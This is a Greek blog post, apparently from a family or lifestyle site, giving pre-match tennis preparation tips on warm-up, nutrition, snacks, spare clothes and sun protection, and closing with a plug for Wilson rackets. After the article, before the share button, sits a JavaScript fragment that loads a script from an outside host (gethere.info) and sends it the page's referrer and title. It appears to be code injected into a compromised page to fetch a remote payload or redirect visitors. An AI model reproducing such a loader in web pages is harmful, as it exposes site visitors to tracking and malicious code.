mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Tips προετοιμασίας πριν τον αγώνα

Tips προετοιμασίας πριν τον αγώνα

shutterstock_271726487To τένις είναι ένα υπέροχο άθλημα και οι αγώνες τένις είναι συναρπαστικοί. Είτε γίνεται σε φιλικό επίπεδο είτε σε πιο επαγγελματικό πλαίσιο, οι αγώνες τένις είναι πολύ ενδιαφέροντες και αρκετά δύσκολοι! Ένας αγώνας χρειάζεται πολύ καλή προετοιμασία και προπόνηση. Εκτός από την σκληρή δουλειά και εξάσκηση ο κάθε παίκτης οφείλει να αφιερώσει λίγο χρόνο για να κάνει μία καλή προετοιμασία.

Χρόνος για προθέρμανση. Η προθέρμανση είναι απαραίτητη όπως και σε κάθε άθλημα. Περίπου 40 λεπτά πριν από τον αγώνα σας, θα πρέπει να ζεστάνετε το σώμα σας και να προετοιμάσετε τον κορμό και τους μύες σας. Κάντε την προθέρμανσή σας συγκεντρωμένοι και με μεγάλη προσοχή. Εμπλουτίστε την προθέρμανση με διάφορες ασκήσεις και διατάσεις για όλο το σώμα.

Ενισχύστε τον οργανισμό σας. Ο οργανισμός σας χρειάζεται ενέργεια για να μπορέσει να ανταπεξέλθει σε όλη τη διάρκεια του αγώνα. Βιταμίνες και καλή διατροφή, νερό και χυμοί είναι τα πρώτα που θα πρέπει να φροντίσετε την ημέρα του αγώνα. Φροντίστε να λάβετε τις πρωτεΐνες και τα ιχνοστοιχεία που σας δίνουν την απαραίτητη ενέργεια που χρειάζεται ένας αθλητής!

Σνακ. Μην αμελήσετε να έχετε μαζί σας τα ενεργειακά σνακ που θα σας τροφοδοτήσουν με επιπλέον στοιχεία και “καύσιμα” κατά τη διάρκεια του αγώνα! Σκεφτείτε να θελήσετε να πιείτε δυο γουλιές χυμού στο διάλειμμα και να μην έχετε!

Να έχετε μια αλλαξιά ρούχων οπωσδήποτε. Μπορεί να ακούγεται αυτονόητο αλλά πολλές φορές η αγωνία και το άγχος μας κάνουν αφηρημένους και ξεχνάμε τα πιο βασικά. Να έχετε πάντα μαζί σας ένα δεύτερο σετ ρούχων για να το φορέσετε μετά το τέλος του παιχνιδιού σε αντικατάσταση αυτών που θα έχουν χρησιμοποιηθεί κατά την διάρκεια του.

Καπέλο και αντηλιακό. Μέσα στον σάκο σας θα πρέπει να έχετε πάντα αντηλιακό για να αλείψετε όλη την επιφάνεια τους σώματός σας καθώς και να φοράτε πάντα καπέλο ώστε να προστατευτείτε από τον ήλιο και να μη νιώσετε δυσφορία από τη ζέστη.

Και φυσικά ποτέ μην ξεχνάτε να έχετε μαζί σας μια δεύτερη ρακέτα Wilson!

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This